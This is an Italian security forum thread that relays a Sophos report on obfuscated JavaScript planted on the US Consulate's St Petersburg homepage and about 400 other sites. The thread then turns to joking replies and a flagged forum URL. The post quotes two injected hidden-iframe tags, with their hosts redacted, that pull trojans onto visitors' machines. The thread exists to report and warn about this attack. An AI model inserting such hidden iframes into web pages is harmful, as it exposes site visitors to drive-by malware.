Un grande pesce preso nella rete - ancora Gromozon

[xcdegasp]

Alcuni giorni fa SophosLabs ha individuato un javascript offuscato (Mal/ObfJS-C) nella homepage del Consolato degli Stati Uniti in Russia.

Analizzando il codice sorgente si può notare los cript offuscato e criptato:




lo script tenta di scrivere nella pagina un iframe che prova a far scaricare silenziosamente ulteriore codice maligno nel pc della vittima:

<iframe name='6326fcf2ca' src='http://[removed].com/xxxx/index.php' width=10 height=12 style='display:none'></iframe>

Ad interrogare gli archivi della settimana scorsa sono emerse ben 400 pagine con la stessa infezione:




1. Sulla sinistra sono rappresentati un grande gruppo di nodi e ciasc'uno rappresenta un sito web compromesso. Il nodo evidenziato in giallo è quello del Consolato americano in st Petersburg.

2. I nodi confluiscono presso due nodi che fanno da vettore per scaricare il materiale infettivo.

3. Ogni vettore fa installare un trojan.


La pagina del Consolato Americano fa connettere ad entrambi i nodi infettivi facendo sì che si scarichino entrambi i trojan e ch nella pagina risulti un ulteriore iframe malevolo:

<iframe src='http://[removed].info/info/' width='1' height='1' style='visibility: hidden;'></iframe>

L'attacco non era rivolto verso il Consolato in se ma ha seguito sempre lasolita tecnica con la quale questa banda opera che è simile al "pescare a strascico".



Fonte: sophos.com

[c.m.g]

mi chiedo quando saranno fermati!

[pistolino]

Subito dopo aver letto il titolo "Un grande pesce preso nella rete", ho chiamato il super-eroe che debellerà il male rappresentato da Gromozon:


Si salvi chi può.

Regards

[BEY0ND]

mica l'avrà catturato lui???

[c.m.g]

finalmente abbiamo capito chi è che insegna a questi criminali le tecniche di phishing... ebbene si, sampei.nihira che è anche una spia di questi criminali mandati su questo forum

ovviamente si scherza!

[sampei.nihira]

Originariamente inviato da c.m.g

finalmente abbiamo capito chi è che insegna a questi criminali le tecniche di phishing... ebbene si, sampei.nihira che è anche una spia di questi criminali mandati su questo forum

ovviamente si scherza!

[c.m.g]

Originariamente inviato da sampei.nihira

[xcdegasp]

e giusto poco fa' ecco che mi è successo:

Requested URL: hxxp://geniv.forumcommunity.net/?t=6226730
Information: Contains suspicious code HEUR/Exploit.HTML

pure forumcommunity.net stanno infettando?

[lancetta]

Originariamente inviato da xcdegasp

e giusto poco fa' ecco che mi è successo:


pure forumcommunity.net stanno infettando?

e sì.... la recrudescenza verso l'italia sta raggiungendo un nuovo picco

[xcdegasp]

non vedo l'ora di vederli alla gogna sti ....